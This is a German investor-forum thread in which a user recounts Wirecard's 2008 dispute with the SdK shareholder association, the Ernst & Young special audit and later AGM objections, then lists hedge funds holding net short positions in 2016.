      Im Sommer 2008 warf die Schutzgemeinschaft der Kapitalanleger (SdK) der Wirecard falsche bzw. irreführende Bilanzierung vor. Infolgedessen beauftragte Wirecard die Wirtschaftsprüfungsgesellschaft Ernst & Young mit einem Sondergutachten für das Geschäftsjahr 2007. Später wurde bekannt, dass Mitglieder der SdK über Differenzkontrakte auf fallende Kurse vor Bekanntmachung der Bilanzdefizite spekuliert hatten. Auch Fondsmanager der Privatbank Sal. Oppenheim setzten auf fallende Kurse und wiesen institutionelle Anleger zur Kursmanipulation bereits vor Bekanntwerden der Vorwürfe auf Bilanzfehler hin. Die Aktie des Unternehmens fiel daraufhin um fast siebzig Prozent. Wirecard erstattete Ende Juni 2008 Anzeige bei der Staatsanwaltschaft gegen die Fondsmanager der Privatbank Sal. Oppenheim und Mitarbeiter der SdK.


      Nach der Hauptversammlung der Gesellschaft am 24. Juni 2008 ist eine Diskussion entbrannt, da aus der Sicht der SdK zahlreiche Fragen nicht aussagekräftig beantwortet wurden. Dies hat zu einem massiven Kursverfall der Aktie geführt. Wirecard weist nach Ansicht der SdK ein schwaches Bilanzbild auf, denn fast die gesamte Aktivseite der Bilanz bestehe aus immateriellen Vermögensgegenständen. Wie und durch welche Geschäfte die Gewinne entstehen, bleibt aus der Sicht der SdK auch nach der Lektüre des Geschäftsberichts weitgehend unklar. Fraglich sei insbesondere, wie hoch der internationale Ergebnisanteil des in Deutschland verbotenen Gamblinggeschäfts ist. Auch die Cashflow-Rechung ist nach Meinung der SdK nach völlig unzureichend. Trotz eines EBIT von 33,1 Millionen Euro habe die Gesellschaft keine Steuern zahlen müssen, sondern sogar noch einen Steuerertrag in Höhe von 0,6 Millionen Euro verbuchen können.
      Ein Teil des vom Unternehmen ausgewiesenen Wachstums stamme aus Akquisitionen in Gibraltar und Dublin. Die Hintergründe zu diesen Akquisitionen seien zu hinterfragen, denn die Antworten, die Anleger hierzu erhalten haben, waren aus der Sicht der SdK völlig ungenügend. Insgesamt sei auch fraglich, welche Risikostruktur die Gesellschaft tatsächlich ausweist und welche Bewertung somit gerechtfertigt ist.

      Die Wirecard regaierte ziemlich patzig, wie man sich in München erzählt.
      Am 27.06.2008 reagioerte die Wirecard
      'Offenbar ist die Wirecard AG das Ziel konzertierter Leerverkaufsattacken mehrerer Hedgefonds. Zudem drängt sich uns der Verdacht auf, dass sich der Schutzverband der Kleinanleger e.V. (SdK) zur Anheizung von Gerüchten hat instrumentalisieren lassen' sagt Vorstandschef Dr. Markus Braun.

      Dies stellte sich damals als richtig heraus.
      (Quelle http://forum.finanzen.net/forum/Roadwarrior-t335527?page=1 ) (interessant sind die Parallelen zu Zatrra, besonders auch hinsichtlich der Bewertungen des Vorganges und hinsichtlich des Fehlens an Auseinandersetzung mit den Inhalten der Beschuldigungen)

      Dann wurde am 18.07.2008 folgendes geschrieben
      http://ir.wirecard.de/websites/wc/German/3150/finanznachrich…
      Der von der SdK über deren Webseite am 8. Juli 2008 angekündigte Fragenkatalog ist bis heute nicht bei Wirecard AG eingegangen. 'Wir sind jederzeit bereit, alle Fragen ausführlich zu beantworten', sagt Dr. Markus Braun, CEO der Wirecard.

      Einen sehr konkreten Fragenkatalog hatte die Wirecard am 30.06.2008 bereits beantwortet, dies behauptet zumindest ein user sebastianms hier
      http://forum.finanzen.net/forum/Roadwarrior-t335527?page=1

      Aus unserer Sicht war die Aktie der Wirecard AG Ziel einer Leerverkaufs-
      Attacke. (...) Diese Maßnahme wurde von bewusst gestreuten falschen Gerüchten im Markt flankiert, welche zur Verunsicherung bei Wirecard Aktionären führten. (...) [zu SdK: Bereits auf der Hauptversammlung am 24. Juni 2008 in München wurde auf alle Fragen umfänglich und detailliert geantwortet. Die Vorwürfe sind
      allesamt unwahr. (...) (zum Kauf der Bank) (...) (Ausführungen zum Thema cashflow, für Experten womöglich interessant) (...) (zu Auslandsfirmen...) (...) "Der Standort British Virgin Islands hat keine strategische Bedeutung und wird gerade aufgelöst. [Marielle, siehe unten) (...) Es gab an diesem Standort so viele Mitarbeiter wie bei der damals bei der Infogenie zu Beginn: genau 0]
      (...) zu Trustpay (...) (Verkäufer der Trustpay) Bei der Wirecard Payment Solution Holding, Irland, (früher Gateway
      Payment Solutions Holdings Ltd.)
      waren es mehrere natürliche Personen
      von denen zwei dem Management der Gateway Payment Solutions
      Holdings Ltd.
      angehörten und die auch nach Übernahme für die Gruppe
      tätig sind.
      Bei den übrigen natürlichen Personen aus verschiedenen
      internationalen Destinationen handelt es sich ausschließlich um
      Finanzinvestoren die in keiner Verbindung zur Wirecard AG oder ihren
      Organen standen. [häh? was sind denn "natürliche Personen aus internationalen Destinationen"?]
      Bei der zweiten Gesellschaft handelt es sich um die österreichische Qenta
      Paymentsolutions Beratungs und Informations GmbH nebst ihrer für IT-
      Dienstleistungen zuständigen Schwestergesellschaft webcommunication


      Alle durch den SdK-Vorstand Herrn Schneider auf der Hauptversammlung der Wirecard gestellten Fragen wurden entgegen anderslautender, wahrheitswidriger Aussagen der SdK von der Gesellschaft ausweislich des notariellen Protokolls der Hauptversammlung vollumfänglich beantwortet.

      Zumindest in der SdK-Erklärung stand doch gar nicht, dass die Fragen nicht beantwortet wurden. SdK sagte lediglich, die Fragen seien "nicht aussagekräftig" und "völlig ungenügend" beantwortet worden.
      Zwischenzeitlich hat sich herausgestellt, dass die Motivation der SdK im Hinblick auf die Verbreitung unrichtiger und kursschädigender Informationen und die Behauptung angeblich unaufgeklärter Sachverhalte von finanziellem Eigeninteresse der handelnden Vorstände geprägt war. Der Vorstand der SdK hat gegenüber Wirecard-Vertretern selbst eingeräumt, im Vorfeld der Hauptversammlung bereits Mitte Mai 2008 erstmals auf sinkende Kurse gesetzt zu haben

      Absolute Parallele zu Zatarra: Die Motivation, eine Information zu geben, hat mit der Information nichts zu tun. Die Information bleibt davon unabhängig zu prüfen.

      Beispiel: Markus B. stiehlt heimlich das Tagebuch seiner Schwester Petra und liest es, dann stellt er es zurück. In dem Tagebuch steht, dass Petra letzte Woche das Auto des Vaters verkratzt hat, weil sie sich über ihn geärgert hat. Am Tag darauf hat Markus B. einen heftigen Streit mit seiner Mutter, weil er wieder heimlich Pornos auf der Hustlerseite angeschaut hat. Er erzählt der Mutter dann von dem Tagebuch und der Sache mit dem Auto, um von seiner Verfehlung abzulenken. Frage: wird die Mutter das Tagebuch lesen, um die Information zu überprüfen oder nicht? Wird sie darauf verzichten, nur weil die Motivation des Markus B. nicht ganz koscher war?

      Dann passierte etwas Seltsames. Denn die Münchner Staatsanwaltschaft handelte erstaunlich schnell.
      Bereits Ende Juli gab es umfangreiche Hausdurchsuchungen bei der SdK.
      Die Staatsanwaltschaft München und die Bundesanstalt für Finanzdienstleistungsaufsicht (BaFin) haben in der Wirecard-Affäre die Geschäftsräume der Schutzgemeinschaft der Kapitalanleger (SdK) und die Privatwohnungen von sechs SdK-Vertretern durchsucht. Oberstaatsanwalt Anton E. Winkler bestätigte, dass infolge der Strafanzeige der Wirecard AG ein Ermittlungsverfahren wegen möglichem Insiderhandel und Marktmanipulationen eröffnet worden sei.(...)
      Die SdK wollte die Beschlüsse der Wirecard-Hauptversammlung vom 24. Juni 2008 für nichtig erklären lassen. Der Vorwurf lautete, die Konzernrechungslegung des TecDAX notierten Unternehmens sei "in verschiedenen wesentlichen Punkten unvollständig und irreführend" gewesen.

      http://www.channelpartner.de/a/staatsanwalt-durchsucht-sdk-g…

      kein Wort davon, worum es konkret ging.

      Dann kam das Gutachten von Ernst&Young. Es obskur zu nennen, wäre vielleicht etwas zu scharf
      [nicht näher bekannt und daher] fragwürdig, anrüchig, zweifelhaft, vom lateinischen obscurus, eigentlich "bedeckt"


      9.10.2008
      Wirecard sieht sich rehabilitiert
      Im TecDax sprang die Aktie von Wirecard um 27,6 Prozent nach oben. Der Zahlungsabwickler hat ein positives Fazit der Sonderuntersuchung der Wirtschaftsprüfungsgesellschaft Ernst & Young gezogen. Es seien zwar einzelne Punkte angesprochen worden, die aber die Aussagekraft und Richtigkeit des Konzernabschlusses und des Lageberichtes 2007 nicht wesentlich beeinträchtigten, teilte das TecDax-Mitglied mit, ohne Einzelheiten zu nennen. Insgesamt hätten sich keine Hinweise auf irreführende Angaben im Konzernabschluss und Konzernlagebericht ergeben. Die Untersuchung bleibt indessen unter Verschluss.

      (zitiert nach Börse ARD)

      Dann kam erst einmal das Jahr 2009 und die Hauptversammlung. Ich zitiere mal aus der Sichtweise der SdK:
      TOP 4
      Beschlussfassung über die Entlastung der Mitglieder des Aufsichtsrates für das Geschäftsjahr 2008
      Ablehnung
      Begründung: (...) Es entzieht sich der Kenntnis, zu welchen Ergebnissen die Sonderuntersuchung zum Geschäftsbericht 2007 durch Ernst & Young gekommen ist, allerdings ist es schwer vorstellbar, dass kein Korrekturbedarf gesehen wird. Immerhin hat sich die Verwaltung zu einer - wenn auch eher aussagelosen - Beschreibung des Risikos beim Online-Gambling-Geschäft durchgerungen.
      Es kann nicht ernsthaft streitig sein, dass die in einigen Ländern geltenden restriktiven und rigorosen Verbote durchaus ein nicht zu unterschätzendes Risiko darstellen; die öffentlich geführte Diskussion, insbesondere in Deutschland, kann nicht ernsthaft am Aufsichtsrat vorbeigegangen sein.
      Weniger Einsichtsfähigkeit scheint der Aufsichtsrat bei einer Veränderung der Kapitalflussrechnung im Aspekt des cash-flows aus laufender Geschäftstätigkeit zu zeigen. Zwar wird mittlerweile alternativ eine um die durchlaufenden Posten bereinigte Cash-flow-Darstellung aufgestellt, allerdings zeigt der schiere Vergleich der bereinigten Zahlen des Vorjahres, wie unsachgemäß die Einbeziehung dieser durchlaufenden Posten gemessen am Sinn und Zweck der Kapitalflussrechnung gewesen ist.
      Der bereinigte cash-flow aus laufender Geschäftstätigkeit des Vorjahres reduzierte sich von ursprünglich ca. € 97,00 Mio. (unbereinigt) auf ca. € 27,5 Mio. (bereinigt).
      Der Gesamteindruck ist, dass der Aufsichtsrat die Bedeutung und Verpflichtung seines Amtes (noch) nicht hinreichend erkannt und wahrgenommen hat.

      zur Bestellung des Abschlußprüfers:
      Wem im Rahmen einer Prüfung nicht auffällt, dass der Bereich "Bank" ein eigenes Segment sein muss, über das auch gesondert im Anhang zu berichten ist und somit wohl unterstellt, dass es auch keine derartige Organisations- und Berichtsstruktur im Unternehmen gibt, kann nicht das notwendige Vertrauen für eine Abschlussprüfung genießen, dies umso mehr als nach § 317 Abs.4 AktG der Prüfer sich zu dem sog. Risikokontrollsystem zu äußern hat. Dies kann ja wohl nur positiv beurteilt werden, wenn die Risiken auch organisatorisch richtig erfasst werden, was wiederum auch eine geeignete Segmentierung voraussetzt.
      Auch die mangelnde Beschreibung des Risikos bei Online-Spielen hätte dem Prüfer beim Vorjahresbericht auffallen müssen.

      Auch beim zu genehmigenden kapital habe SdK abgelehnt:
      Die jüngst zurückliegenden Akquisitionen, bei denen die Hintergründe - auch der Gesellschaftsbeteiligten - nicht vollständig aufgeklärt sind, sind nicht dazu geeignet, dem Vorstand das für eine solche Ermächtigung erforderliche Vertrauen entgegenzubringen. Allein die Ausführungen zum Verkauf der Marielle Invest lassen erhebliche Zweifel aufkommen:
      Diese Gesellschaft hat im Vorjahr einen Gewinn in Höhe von ca. € 2.8 Mio. und Geschäftswerte von ca. € 3,00 Mio. ausgewiesen; der Verkaufspreis selbst lag bei € 8,00 Tausend.

      http://www.hv-info.de/show_abstimmungsverhalten.php4?&abstim…


      Auch zur Hauptversammlung 2010 wurden kritische Fragen gestellt, z.B. zum Thema "Entlastung von Vorständen"
      Die Gesellschaft war im vergangenen Jahr angeblich in nicht vertragskonforme Zahlungsabwicklung verwickelt. Bis zur Aufklärung dieser Vorkommnisse sollte keine Entlastung des Vorstands erfolgen. Der Abgang von Herrn Trautmann war überraschend und es erscheint notwendig, über die Gründe von dessen Ausscheiden nähere Informationen von der Gesellschaft zu erhalten, v.a., ob dies im Zusammenhang mit eventuellen unerlaubten Transaktionen steht.

      (Dazu hat sich wirecard ausführlich geäußert und u.a. erklärt,



      2010 war es - nach allem, was bekannt ist - eine andere Geschichte, bei der Personen offenbar vorab gestreut haben, dass Wirecard

      Aber es war damals auch schon eine tolle Einstiegsgelegenheit um die Aktie günstig zu kaufen und hohe Gewinne einzufahren

      Daher klarer Kauf. Nur meine Meinung...[/quote]
      1 Antwort
      Avatar
      schrieb am 30.12.23 11:34:06
      Beitrag Nr. 371 ()
      Antwort auf Beitrag Nr.: 75.030.998 von jigajig am 30.12.23 11:09:07
      Noch einer aus 2016: Leerverkäuferanalyse
      (ich weise vorsorglich darauf hin, dass ich den Eindruck, ich würde mich jetzt selbst zitieren, nachvollziehen kann)
      Nettoleerverkäufer und ihre Anteile (Quelle: ebundesanzeiger)
      (Name, Einstieg, aktueller Wert,Verhalten während Krise)

      s.a.
      http://whalewisdom.com/short_position/issuer/wrcdf

      QVT Financial LP am 1.11.2012 mit 1,08%, sukz.auf 0,46% reduziert (2013), aktuell 0,53% (4.3.16 erhöht)
      einer der 40 bestverdienendsten Hedgefonds des Jahres 2012, Daniel A. Gold (ehemals Deutsche Bank),
      http://www.bloomberg.com/research/stocks/private/person.asp?…
      Sein Co-Manager steht in der Forbes-Liste der "30 erfolgreichsten unter 30" aus dem jahr 2014.
      Anlagevolumen im Mai 2014: 9 Milliarden US$.

      Canada Pension Plan Investment Board seit 14.05.2014, damals 1,11%, heute 2,29% (keine Aktivität)
      Anlagevolumen 2015: 283 Milliarden (Canadische?)$
      http://cppib.com/en/home.html

      Odey Asset management LLP, am 03.12.14 eingestiegen mit 1,18%, oft verändert, runter bis 0,46% (Januar 15), im November stückweise erhöht bis 25.11.15 (1,11), ab Mitte Januar 16 wieder erhöht (1,04 am 24.2.), danach abgebaut auf 0,80 (14.3.)
      https://en.wikipedia.org/wiki/Crispin_Odey
      Mit 150 Mio von einem gewissen George Soros mitfinanziert.
      He had been bearish about the position of banks for a number of years, shorting Bradford & Bingley as early as 2005, questioning the German landesbanks and warning consistently about the dangers of debt and inflated house prices.(...)
      Odey Asset Management's Odey European Inc. fund was ranked No. 5 on Bloomberg's 2012 list of the 100 Top-Performing Large Hedge Funds


      Coatue Management LLC 10.06.2015 (0,66%), v.a. im November15 erhöht auf 1,21% (am 25.2.), am 26.2. auf 1,02 abgebaut, bis 8.3.16 in mehreren Schritten auf 0,70 abgebaut, dann in mehreren Schritten erhöht auf 1,51% (16.3.16)
      http://www.insidermonkey.com/hedge-fund/coatue+management/79…
      Sein Portfolio ist 10 Milliarden wert.
      war in Stroeer short (wie Theleme)
      http://whalewisdom.com/filer/coatue-management-llc#/tabshort…

      Oxford Asset Management seit 16.07.2015, 0,52% / 0,64% (keine Aktivität)
      ein interessanter Hedgefond. Laut einem Bericht aus 2015 in Tokio nicht sehr beliebt
      Oxam has been made to announce short positions on 83 issues, accounting for nearly 30% of all short-selling announcements made by the TSE. It has also drawn the ire of smaller-time investors, who complain that the mysterious fund has caused popular stocks to suddenly lose steam.
      (klingt ja fast wie "The Duke" in Istanbul, aber der pusht ja eher)
      http://whalewisdom.com/filer/oxford-asset-management#/tabsho…

      Theleme Partners eingestiegen am 25.11.15 mit 0,53%, am 24.2. auf 0,74 erhöht, am 10.03.16 erhöht auf 0,80%
      Patrick Degorce, verwaltet 2,2 Milliarden US$, hält fetten Anteil an Bank of America
      short in Ströer und Südzucker
      http://whalewisdom.com/filer/theleme-partners-llp#/tabshort_…

      Blue Ridge Capital LLC (1.12.15) 0,72%, erhöht bis 4.12.15 auf 1,36%, am 24.2.15 erhöht auf 2,02%, am 14.3. erhöht auf 2,73%
      John Griffin, "a protege of Julian Robertson"
      https://en.wikipedia.org/wiki/Blue_Ridge_Capital
      >5 Milliarden, hat Mitt Romney unterstützt
      short (gewesen) in Lufthansa, Air France, Peugeot
      http://whalewisdom.com/filer/blue-ridge-capital-l-l-c#/tabsh…

      Darsana Capital LP 01.02.16 eingestiegen mit 0,60% am 3.3.16 auf 0,90% erhöht (keine Aktivität)
      Anand Desai (vorher Eton Park Capital Management), Christian J Ferrante
      hatte sich 2015 ein paar Mal ordentlich verschätzt.
      [irgendwo steht, dass es einen hohen Wert an Überschneidungen mit den Investments von Artisan Partners geben soll. Diese sind Aktionär bei Wirecard, Wirecard ist das größte Engagement in deren Fonds. Am 29.2. hat Artisan eine Stellungnahme zur Wirecard veröffentlicht: "Wirecard shares fell on allegations of criminal misconduct published by a previously unheard of research organization. Wirecard subsequently issued a full rebuttal and said it initiated legal proceedings. We’re satisfied with Wirecard’s response." (artisanpartners.com) s.a. http://www.finanznachrichten.de/nachrichten-2016-03/36654332…
      [edit 1.4.: evtl. eine Absicherung des Artisan-Engagements?]

      Thunderbird Partners LLP neu am 26.02.2016 0,55%
      http://whalewisdom.com/filer/thunderbird-partners#/tabshort_…
      Thunderbird Partners is an equity long-short strategy hedge fund started by former Ziff Brothers fund manager David Fear with backing from his former employer. So far, Thunderbird has nine employees and the vast majority hail from Ziff Brothers Investments (ZBI), which shuttered its hedge funds and gave top people money to start their own hedge funds. Current employees of Thunderbird include Scott McDermid, the former COO of ZBI, and ex-research analysts Tim Rupert and Marcus Strub. (Strub war in grauer Vorzeit research analyst bei DresdnerKB, um die Jahrtausendwende, wechselte 2000 zu UBS Warburg, wo er bis mindestens 2003 gewesen ist)
      http://www.leveragedfinancenews.com/issues/2000_32/152762-1.…

      bei den letzten beiden hatte ich keine Lust mehr:

      Miura Global management LLC, neu am 26.02.2016, 0,50%

      TT International am 29.02.16 eingestiegen mit 0,57% aktuell 0,60%


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